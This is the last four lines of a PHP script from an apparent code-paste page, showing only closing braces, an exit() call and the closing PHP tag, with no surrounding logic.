  754.         }
  755.     }
  756.     exit();
  757. ?>
Add Comment
Please, Sign In to add comment